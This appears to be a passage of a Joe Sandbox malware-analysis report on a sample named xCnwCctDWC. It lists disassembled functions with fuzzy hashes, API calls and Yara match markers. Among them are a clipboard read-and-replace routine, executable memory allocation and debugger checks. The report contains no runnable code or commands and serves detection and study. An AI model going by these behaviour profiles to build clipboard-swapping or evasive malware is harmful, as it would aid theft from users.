Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 6FD01231145128B7D7002A94DC09BCD7B1CDF09B62F008411FB0DD9180C770994046E5

Function 00434186 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77dff8414438c132d9b1b222249ac9577754d763359ce41167806e2a442978e4
Instruction ID: 5858c2b1917228bc3ee007884971bc5cb621fb913b3acd2bc442863518e7715d
Opcode Fuzzy Hash: 77dff8414438c132d9b1b222249ac9577754d763359ce41167806e2a442978e4
Instruction Fuzzy Hash: 4051D531A00218AFDB10DF59C840BEA7BA1EFC9364F19919AF818AB391C779FD42C754

Function 0040369F Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 0040377C

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 330fcc4d7d5ac5b0b2ca1a235d838fa7146c9714e98705db01c69e2caad3ca42
Instruction ID: e1021867f2ec77c7d2f8cf192b2e918c2079a777806a714b314ab491ad94b1c1
Opcode Fuzzy Hash: 330fcc4d7d5ac5b0b2ca1a235d838fa7146c9714e98705db01c69e2caad3ca42
Instruction Fuzzy Hash: 5831ADB1604312AFC710DF2AC88092ABFA9BF84351F04893EFD4497390D739DA548B8A

Function 00402823 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402906

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID:
API String ID: 323602529-0
Opcode ID: 9e105bc645d13b5be37bf51f85b07603bbf9c4582c9b25cdf04d4c3893a06c3e
Instruction ID: a0c314b69e82cee7068a10c27dc1ba61f54dd3d6c342bb4161a68c9c894be626
Opcode Fuzzy Hash: 9e105bc645d13b5be37bf51f85b07603bbf9c4582c9b25cdf04d4c3893a06c3e
Instruction Fuzzy Hash: B03118B4D002199BDB14EFA5D881AEDBBB4BF08304F5085AEE415B3281DB786A49CF54

Function 00403CC2 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00403CC9

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 28d5133743d5d263c03eb5789c04d0db7473107e9a476edf8ad5427a5007d233
Instruction ID: b71381d5bc9e259bdf0532d7d2dd1dfab3929909e68e206b89482bd8707b5f49
Opcode Fuzzy Hash: 28d5133743d5d263c03eb5789c04d0db7473107e9a476edf8ad5427a5007d233
Instruction Fuzzy Hash: 9F215E70600205DFCB11DF55C580EADBBB5BF48704F14C06EE815AB3A2C778AE50CB94

Function 00432785 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 004327C3

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: ebde34e331f36d73ae22f6b7be2bf13c9f524ff7c3251c4fe3554b52cc0156cf
Instruction ID: ced19a79aea4b3e33dd998471e9e3f3b23a78e9704dbb7c6d54aa915c2495f90
Opcode Fuzzy Hash: ebde34e331f36d73ae22f6b7be2bf13c9f524ff7c3251c4fe3554b52cc0156cf
Instruction Fuzzy Hash: 3911187590420AAFCF05DF58E94199B7BF4FF4C314F10406AF819AB311D671EA25CBA9

Function 0043CFCB Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043D00C

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction ID: e101c5f3f91c4e465480e224300ffd561ec2350ede5005b950df212ed8b6fbff
Opcode Fuzzy Hash: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction Fuzzy Hash: B6F0BE33910008FBCF159E96DC01DDF3B6EEF8D338F100116F91492150DA3ACA21ABA4

Function 004336A7 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0040D870,00000000,?,0042679E,00000002,00000000,00000000,00000000,?,0040CD21,0040D870,00000004,00000000,00000000,00000000), ref: 004336D9

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 94f750592cee1f743f5fc95d96a6c8fbd485f7a37a0c4c452716bcfbad1791b8
Instruction ID: 0777d31d9fa185a8b849a759fdbdb2b75b345829f9b614c7a8fa7ff1ccc7c9d0
Opcode Fuzzy Hash: 94f750592cee1f743f5fc95d96a6c8fbd485f7a37a0c4c452716bcfbad1791b8
Instruction Fuzzy Hash: AAE0E5313002207FD6303E675D07B5B36489F497A6F042127EC05A23D0DA6DEE0085AD

Function 0040FB0C Relevance: 1.5, APIs: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 004103C7

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 0f8767ceb07e994d1f5b8eaac8dd392143d78e3b1b871650e8a1b44da905b8b1
Instruction ID: a93cbdcc7b8cec239d3e65b0583cf012edeaa99edf8fc6fd77b2b60b17382ec4
Opcode Fuzzy Hash: 0f8767ceb07e994d1f5b8eaac8dd392143d78e3b1b871650e8a1b44da905b8b1
Instruction Fuzzy Hash: 58E09B3450430E76CB1476A5FC1595D376C6A00354B904237BC28654D1DF78F59D858D

Function 0043CD0A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,0043D0E5,?,?,00000000,?,0043D0E5,00000000,0000000C), ref: 0043CD27

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c1825962b9e2d68b99604ae1ec91ea351fd51148a2f332f138c69e8dc7c90181
Instruction ID: f5cec35e3468c2ebfedbe18043dc9de9c020ce50a8bef62643be49baa2ffa0a5
Opcode Fuzzy Hash: c1825962b9e2d68b99604ae1ec91ea351fd51148a2f332f138c69e8dc7c90181
Instruction Fuzzy Hash: DCD06C3200014DBBDF028F84DC06EDA3BAAFB48714F014150BA1856020C732E921AB95

Function 00709E9D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00709EEE

Memory Dump Source

Source File: 00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp, Offset: 00709000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_709000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 9384d34ff7958bff6ee4be38d66e5f526d9c74b9c2f5a7922849b63d7b1425b1
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 82112D79A00208EFDB01DF98C985E99BBF5AF08350F058094F9489B362D375EA50DB80

Non-executed Functions

Function 00671942 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 151clipboardsleepmemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0067194D
Sleep.KERNEL32(00001541), ref: 00671957

Part of subcall function 0067CE77: _strlen.LIBCMT ref: 0067CE8E

OpenClipboard.USER32(00000000), ref: 00671984
GetClipboardData.USER32(00000001), ref: 00671994
_strlen.LIBCMT ref: 006719B0
_strlen.LIBCMT ref: 006719DF
_strlen.LIBCMT ref: 00671B23
EmptyClipboard.USER32 ref: 00671B39
GlobalAlloc.KERNEL32(00000002,00000001), ref: 00671B46
GlobalUnlock.KERNEL32(00000000), ref: 00671B70
SetClipboardData.USER32(00000001,00000000), ref: 00671B79
GlobalFree.KERNEL32(00000000), ref: 00671B80
CloseClipboard.USER32 ref: 00671BA4
Sleep.KERNEL32(000002D2), ref: 00671BAF

Strings

4#E, xrefs: 0067195D
i, xrefs: 006719C0

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Clipboard$_strlen$Global$DataSleep$AllocCloseEmptyFreeH_prolog3_OpenUnlock
String ID: 4#E$i
API String ID: 4246938166-2480119546
Opcode ID: 45a8dad81ff59b0f4b4464c7594e59c36273e081b3ff668940b9dbd8c87fe3c1
Instruction ID: 83fa0b137136c5d75e0a14dd515ab0c409d2813c92b9f20ad9c3bc52cfb9d81f
Opcode Fuzzy Hash: 45a8dad81ff59b0f4b4464c7594e59c36273e081b3ff668940b9dbd8c87fe3c1
Instruction Fuzzy Hash: 73510430C007859AE3119FA8DC467EC7764FF2A702F049229E809A6163EB709A85C769

Function 00672361 Relevance: 22.7, APIs: 15, Instructions: 205nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,00000014,?,?), ref: 0067239C
GetClientRect.USER32(?,?), ref: 006723B1
GetDC.USER32(?), ref: 006723B8
CreateSolidBrush.GDI32(00646464), ref: 006723CB
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 006723EA
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 0067240B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00672416
MulDiv.KERNEL32(00000008,00000000), ref: 0067241F
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,00451F10), ref: 00672443
SetBkMode.GDI32(?,00000001), ref: 006724CE
_wcslen.LIBCMT ref: 006724E6

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Create$BrushCapsClientDeviceFontModeNtdllProc_RectRectangleSolidWindow_wcslen
String ID:
API String ID: 1529870607-0
Opcode ID: b907d1a1b1e1ec1e10588b01c324950f76be5009d0317e1f7e1d34b68f08428a
Instruction ID: 859f52eaf6e5b2eb785a1a9dd10955f58b97d16e4d29738a9e9f88d7bac8d979
Opcode Fuzzy Hash: b907d1a1b1e1ec1e10588b01c324950f76be5009d0317e1f7e1d34b68f08428a
Instruction Fuzzy Hash: DB71FD72900218AFDB629F64DD85FAEB7BCEB09711F0042A5F509E6151DA70AF80CF64

Function 0043D678 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0043D7BE

Strings

1#SNAN, xrefs: 0043E9BD
1#IND, xrefs: 0043E9B6
1#INF, xrefs: 0043E9CB
1#QNAN, xrefs: 0043E9C4

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 1705c8ec1ca245728102af4e988fb3fc25a52218aafbc3cd1121bd07fbf397af
Instruction ID: 9e6dbbf50b3e3cea2dd72b1fc58d7ba5eae27dc46f9bc3f4d00a4e89d85e9552
Opcode Fuzzy Hash: 1705c8ec1ca245728102af4e988fb3fc25a52218aafbc3cd1121bd07fbf397af
Instruction Fuzzy Hash: 96C25B71E096288FDB25CE29DD407EAB7B5EB48304F1551EBD80DE7280E778AE818F45

Function 006AB271 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,006A0A23,?,?,?,?,006A047A,?,00000004), ref: 006AB353
_wcschr.LIBVCRUNTIME ref: 006AB3E3
_wcschr.LIBVCRUNTIME ref: 006AB3F1
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,#j,00000000,?), ref: 006AB494

Strings

#j, xrefs: 006AB36A, 006AB3B2, 006AB45A

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID: #j
API String ID: 2444527052-2462204263
Opcode ID: a8d3268dc8615bf56593139fe4b4cdd8dd771f7aacb6be947116ef161c46c3e3
Instruction ID: 6b3e5a8451fab4ad39c3c8bfc83dee6878ea5d929a4ae4bfd457aacdde6403af
Opcode Fuzzy Hash: a8d3268dc8615bf56593139fe4b4cdd8dd771f7aacb6be947116ef161c46c3e3
Instruction Fuzzy Hash: B061B671600206AADB24BB74DC42BBA73DAEF0A710F14546EF905D7283EB74DD418FA5

Function 006AB9D5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,006ABCF4,?,00000000), ref: 006ABA6E
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,006ABCF4,?,00000000), ref: 006ABA97
GetACP.KERNEL32(?,?,006ABCF4,?,00000000), ref: 006ABAAC

Strings

ACP, xrefs: 006AB9F3
OCP, xrefs: 006ABA29

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction ID: a591296ce1211458bc21dbb83acaa0f69c4c5a787514a8d51fc29b7702b9ea64
Opcode Fuzzy Hash: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction Fuzzy Hash: 7121C132600104AAE730AF54D901AE773A7EB52F10B56A164EB0ADB202F732DE41CB94

Function 0043B76E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,0043BA8D,?,00000000), ref: 0043B807
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,0043BA8D,?,00000000), ref: 0043B830
GetACP.KERNEL32(?,?,0043BA8D,?,00000000), ref: 0043B845

Strings

ACP, xrefs: 0043B78C
OCP, xrefs: 0043B7C2

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction ID: fa2a6f3f06b8257a5ac591d998b536fc1da73be0d13f1331aa64b533421ee897
Opcode Fuzzy Hash: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction Fuzzy Hash: 4B21A136A00104AAD738DF14C801B9777AAEF98F50F669466EB0AD7311E736DE41C7D8

Function 006ABBA9 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

Part of subcall function 006A2141: _free.LIBCMT ref: 006A21A0
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21AD

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 006ABCB5
IsValidCodePage.KERNEL32(00000000), ref: 006ABD10
IsValidLocale.KERNEL32(?,00000001), ref: 006ABD1F
GetLocaleInfoW.KERNEL32(?,00001001,006A0A1C,00000040,?,006A0B3C,00000055,00000000,?,?,00000055,00000000), ref: 006ABD67
GetLocaleInfoW.KERNEL32(?,00001002,006A0A9C,00000040), ref: 006ABD86

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID:
API String ID: 2287132625-0
Opcode ID: 119725e359bc42e0bfb9cdb5970e3de8a9f9b5c3b1583b7d82a4707c3220fec3
Instruction ID: 74e68c856749d09458c7d2feb36ab66ca261cdf9d6d98bba25c6045efa8f3bba
Opcode Fuzzy Hash: 119725e359bc42e0bfb9cdb5970e3de8a9f9b5c3b1583b7d82a4707c3220fec3
Instruction Fuzzy Hash: F5519271900209ABDB10FFA5DC45EFEB7BAEF16710F141429E905E7292EB719E008F65

Function 0043B942 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F39
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F46

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0043BA4E
IsValidCodePage.KERNEL32(00000000), ref: 0043BAA9
IsValidLocale.KERNEL32(?,00000001), ref: 0043BAB8
GetLocaleInfoW.KERNEL32(?,00001001,004307B5,00000040,?,004308D5,00000055,00000000,?,?,00000055,00000000), ref: 0043BB00
GetLocaleInfoW.KERNEL32(?,00001002,00430835,00000040), ref: 0043BB1F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID:
API String ID: 2287132625-0
Opcode ID: 09e7077a585d70c8480d4b1d78da616f19cbc20ae15e0cb08ae98176a4c780fb
Instruction ID: d022b458b050368e3858f313ea430915e0084ddf9245bc07a5b1b9775f8f1cbc
Opcode Fuzzy Hash: 09e7077a585d70c8480d4b1d78da616f19cbc20ae15e0cb08ae98176a4c780fb
Instruction Fuzzy Hash: E1516171A006059BEB10EFA5CC45BBF73B8FF4C701F14556BEA14E7290E7789A048BA9

Function 0069ED47 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 464COMMON

Download Yara Rule

Strings

Lj, xrefs: 0069F1AF, 0069EF99, 0069EE28
Lj, xrefs: 0069ED64, 0069EF0F, 0069F133, 0069F0CD, 0069EF5D, 0069EEEB

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID: Lj$Lj
API String ID: 0-972615985
Opcode ID: 0f0c45cb1db73e70c4158069b4bc17042fea2514ea4053169c41fd5e4a69dae0
Instruction ID: ab134d4fa55aa97c23c04436c1535dea051a276a77297924fa599f1795b1323b
Opcode Fuzzy Hash: 0f0c45cb1db73e70c4158069b4bc17042fea2514ea4053169c41fd5e4a69dae0
Instruction Fuzzy Hash: C2022C71E002199BDF14CFA9C8906EDB7F6EF88314F25826AE919E7741D731AD41CB84

Function 0042EAE0 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 464COMMON

Download Yara Rule

Strings

C, xrefs: 0042EAFD, 0042ECA8, 0042EECC, 0042EE66, 0042ECF6, 0042EC84
C, xrefs: 0042EF48, 0042ED32, 0042EBC1

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID: C$C
API String ID: 0-238425240
Opcode ID: 185f0ef558908b44b9225c7828f32a07078ec648b0e05d0c62af8d2f3fb84e81
Instruction ID: c20898a9e1ba257a9a920a277c678998c6649ecb9dd7e2fb432374692491c933
Opcode Fuzzy Hash: 185f0ef558908b44b9225c7828f32a07078ec648b0e05d0c62af8d2f3fb84e81
Instruction Fuzzy Hash: D2025C71E002299BDF14CFAAD9806AEBBF1EF88314F65416AD919E7380D734A9418B94

Function 0043B00A Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,004307BC,?,?,?,?,00430213,?,00000004), ref: 0043B0EC
_wcschr.LIBVCRUNTIME ref: 0043B17C
_wcschr.LIBVCRUNTIME ref: 0043B18A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,004307BC,00000000,004308DC), ref: 0043B22D

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID:
API String ID: 2444527052-0
Opcode ID: 0931e6da1e5e69565e8d8cf9fe0bd78167b9118aed70e948f35c6624fe6e05f7
Instruction ID: 51baba79e9d53baeee2bb674299bb26a4ab80324ce8bdae5682f18c88f981068
Opcode Fuzzy Hash: 0931e6da1e5e69565e8d8cf9fe0bd78167b9118aed70e948f35c6624fe6e05f7
Instruction Fuzzy Hash: 2A611871600305AADB25AB35DC46FAB73A8EF0C754F14142FFA15D7281EB78E90087E9

Function 0043B3F5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F39
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F46

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B449
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B49A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B55A

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free
String ID:
API String ID: 2834031935-0
Opcode ID: b47dfc7cc7d128076792c5fbd0b190a68a95fbe03c58a2560eecab0ba078b5b3
Instruction ID: c49451ec2ca19e0a4411bfa9fc43b71b3add14360d4f89f5b475bf5440394a21
Opcode Fuzzy Hash: b47dfc7cc7d128076792c5fbd0b190a68a95fbe03c58a2560eecab0ba078b5b3
Instruction Fuzzy Hash: D561A771501207AFEB289F25CC82BBA77A8EF08714F10507BEE05CA681E77DD951CB99

Function 0069A63A Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0067DAD7), ref: 0069A732
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0067DAD7), ref: 0069A73C
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,0067DAD7), ref: 0069A749

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eb826f4c1f6c2a36f22102285c1cba4b775e3ea8ac7ebf58b950a08133c1f654
Instruction ID: d0577c49d11ec195e462b57ff77179ae883a12fcc45c43b30a7677330dfd6341
Opcode Fuzzy Hash: eb826f4c1f6c2a36f22102285c1cba4b775e3ea8ac7ebf58b950a08133c1f654
Instruction Fuzzy Hash: 9C31B2749013189BCB61DF64D989B98BBB9AF08710F5042EAE40CA7261E7349F858F49

Function 0042A3D3 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0042A4CB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0042A4D5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0042A4E2

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: e3c43158b2ba7ac08fb42c40ba6f83f67e70d04cde29a4d11da33e8c3fa8252c
Instruction ID: 57e1c3994b5eabbb9df0cdc6b85fdffdc982c490f91e1a39e2279c764f1972c3
Opcode Fuzzy Hash: e3c43158b2ba7ac08fb42c40ba6f83f67e70d04cde29a4d11da33e8c3fa8252c
Instruction Fuzzy Hash: C231D6749112289BCB21DF64D9887CDB7B8BF08710F5042EAE81CA7250EB749F958F49

Function 006A00C6 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

